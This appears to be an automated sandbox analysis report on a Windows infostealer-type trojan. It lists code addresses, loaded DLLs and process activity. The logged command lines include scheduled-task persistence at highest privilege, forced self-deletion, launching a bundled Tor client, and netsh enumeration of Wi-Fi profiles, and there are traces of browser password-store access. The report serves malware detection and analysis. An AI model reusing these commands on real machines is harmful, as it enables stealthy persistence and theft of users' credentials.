Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 7_2_00007FFD9B89304C 7_2_00007FFD9B89304C
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 8_2_00007FFD9B88304C 8_2_00007FFD9B88304C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1D4080 9_2_6C1D4080
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1C1D33 9_2_6C1C1D33
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1C1D20 9_2_6C1C1D20
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1C2142 9_2_6C1C2142
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1CB998 9_2_6C1CB998
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1D51E0 9_2_6C1D51E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1C3A50 9_2_6C1C3A50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1C9660 9_2_6C1C9660
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1CC72B 9_2_6C1CC72B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1CEB40 9_2_6C1CEB40
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1C2F63 9_2_6C1C2F63
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FEC83 9_2_6C1FEC83
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21AD60 9_2_6C21AD60
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FE838 9_2_6C1FE838
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22EA50 9_2_6C22EA50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FEAA0 9_2_6C1FEAA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C24EB20 9_2_6C24EB20
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FEB43 9_2_6C1FEB43
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23A647 9_2_6C23A647
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FE040 9_2_6C1FE040
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FC260 9_2_6C1FC260
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C243CE0 9_2_6C243CE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FB912 9_2_6C1FB912
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C245960 9_2_6C245960
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C209984 9_2_6C209984
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C24D9C0 9_2_6C24D9C0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23FAA2 9_2_6C23FAA2
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1FB037 9_2_6C1FB037
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C209280 9_2_6C209280
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35ACF0 9_2_6C35ACF0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C4A4D30 9_2_6C4A4D30
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F2DA0 9_2_6C2F2DA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33CD9D 9_2_6C33CD9D
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30CD80 9_2_6C30CD80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4E02 9_2_6C2E4E02
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4E4B 9_2_6C2E4E4B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33EE40 9_2_6C33EE40
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4E81 9_2_6C2E4E81
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C32AEE0 9_2_6C32AEE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C32EEE0 9_2_6C32EEE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4ECC 9_2_6C2E4ECC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4F37 9_2_6C2E4F37
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C32EF70 9_2_6C32EF70
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35CF70 9_2_6C35CF70
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C34CF90 9_2_6C34CF90
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C40AF80 9_2_6C40AF80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C350FE0 9_2_6C350FE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C358830 9_2_6C358830
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C394800 9_2_6C394800
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C340855 9_2_6C340855
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C32C8B0 9_2_6C32C8B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E68E7 9_2_6C2E68E7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3F88D0 9_2_6C3F88D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E49FB 9_2_6C2E49FB
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4A26 9_2_6C2E4A26
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33CA10 9_2_6C33CA10
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C342A50 9_2_6C342A50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4AA0 9_2_6C2E4AA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35AA80 9_2_6C35AA80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35AAEC 9_2_6C35AAEC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EEB00 9_2_6C2EEB00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C402B10 9_2_6C402B10
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33ABB0 9_2_6C33ABB0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E2BA0 9_2_6C2E2BA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E8B90 9_2_6C2E8B90
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E8BC7 9_2_6C2E8BC7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35ABC0 9_2_6C35ABC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4439 9_2_6C2E4439
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EE4B0 9_2_6C2EE4B0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E656C 9_2_6C2E656C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E4568 9_2_6C2E4568
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C330550 9_2_6C330550
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33C5E0 9_2_6C33C5E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E6627 9_2_6C2E6627
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35C730 9_2_6C35C730
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E470B 9_2_6C2E470B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E671C 9_2_6C2E671C
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E2770 9_2_6C2E2770
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33E79F 9_2_6C33E79F
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C44A797 9_2_6C44A797
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E6034 9_2_6C2E6034
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E6098 9_2_6C2E6098
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35C0E0 9_2_6C35C0E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E40F7 9_2_6C2E40F7
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E20F0 9_2_6C2E20F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F40D0 9_2_6C2F40D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E6103 9_2_6C2E6103
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2FE140 9_2_6C2FE140
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C346140 9_2_6C346140
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E6197 9_2_6C2E6197
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EC190 9_2_6C2EC190
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3FE180 9_2_6C3FE180
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C4882F0 9_2_6C4882F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E62C1 9_2_6C2E62C1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E2330 9_2_6C2E2330
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35A360 9_2_6C35A360
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35C360 9_2_6C35C360
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E63A2 9_2_6C2E63A2
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E6387 9_2_6C2E6387
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E5C41 9_2_6C2E5C41
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C359C40 9_2_6C359C40
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EBCC0 9_2_6C2EBCC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E5D2E 9_2_6C2E5D2E
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C393D20 9_2_6C393D20
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 24_2_00007FFD9B870808 24_2_00007FFD9B870808
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 26_2_00007FFD9B8A304C 26_2_00007FFD9B8A304C
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 27_2_00007FFD9B8A304C 27_2_00007FFD9B8A304C
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libcrypto-1_1.dll 3F08728C7A67E4998FBDC7A7CB556D8158EFDCDAF0ACF75B7789DCCACE55662D
Enables driver privileges
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process token adjusted: Load Driver Jump to behavior
Enables security privileges
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process token adjusted: Security Jump to behavior
PE file contains more sections than normal
Source: libevent-2-1-7.dll.6.dr Static PE information: Number of sections : 17 > 10
Source: libgcc_s_sjlj-1.dll.6.dr Static PE information: Number of sections : 17 > 10
Source: libssl-1_1.dll.6.dr Static PE information: Number of sections : 18 > 10
Source: libssp-0.dll.6.dr Static PE information: Number of sections : 17 > 10
Source: libcrypto-1_1.dll.6.dr Static PE information: Number of sections : 18 > 10
Source: libevent_extra-2-1-7.dll.6.dr Static PE information: Number of sections : 17 > 10
Source: libwinpthread-1.dll.6.dr Static PE information: Number of sections : 18 > 10
Source: libevent_core-2-1-7.dll.6.dr Static PE information: Number of sections : 17 > 10
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000002.1655619574.0000027569F53000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000000.1646088874.0000027567892000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameja840e27afef82358f90b.exeP vs file.exe
Source: file.exe Binary or memory string: OriginalFilenameja840e27afef82358f90b.exeP vs file.exe
Source: file.exe.0.dr, jxp3.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: file.exe.0.dr, i_R.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: file.exe.0.dr, i_R.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: file.exe, i_R.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: file.exe, i_R.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: file.exe, jxp3.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@38/40@3/14
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Code function: 6_2_00007FFD9B8B8955 AdjustTokenPrivileges, 6_2_00007FFD9B8B8955
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Starlabs Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1748:120:WilError_03
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Mutant created: \Sessions\1\BaseNamedObjects\p2n2buh68e
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7380:120:WilError_03
Source: C:\Users\user\AppData\Local\Starlabs\file.exe File created: C:\Users\user\AppData\Local\Temp\tmp3D94.tmp Jump to behavior
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: file.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000006.00000002.4101217017.000001BF1C2A7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000002.4101217017.000001BF1C67D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 50%
Source: file.exe Virustotal: Detection: 50%
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\Desktop\file.exe" &&START "" "C:\Users\user\AppData\Local\Starlabs\file.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 3
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Starlabs\file.exe "C:\Users\user\AppData\Local\Starlabs\file.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Starlabs\file.exe C:\Users\user\AppData\Local\Starlabs\file.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Starlabs\file.exe C:\Users\user\AppData\Local\Starlabs\file.exe
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe "C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe" -f "C:\Users\user\AppData\Local\zfzs6gcqx8\tor\torrc.txt"
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: unknown Process created: C:\Users\user\AppData\Local\Starlabs\file.exe C:\Users\user\AppData\Local\Starlabs\file.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Starlabs\file.exe C:\Users\user\AppData\Local\Starlabs\file.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Starlabs\file.exe C:\Users\user\AppData\Local\Starlabs\file.exe
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\Desktop\file.exe" &&START "" "C:\Users\user\AppData\Local\Starlabs\file.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 3 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Starlabs\file.exe "C:\Users\user\AppData\Local\Starlabs\file.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe "C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe" -f "C:\Users\user\AppData\Local\zfzs6gcqx8\tor\torrc.txt" Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]" Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: C:\Users\user\Desktop\file.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\chcp.com Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\chcp.com Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\timeout.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Section loaded: rsaenh.dll Jump to behavior
